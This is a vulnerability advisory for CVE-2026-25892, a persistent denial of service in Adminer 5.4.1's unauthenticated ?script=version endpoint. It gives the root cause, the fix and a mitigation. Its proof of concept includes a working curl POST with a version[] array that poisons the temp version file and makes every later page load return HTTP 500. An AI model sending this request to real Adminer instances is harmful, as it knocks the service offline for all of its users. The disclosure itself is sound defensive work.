CVE-2026-25892

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of uploadtmpdir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

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Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.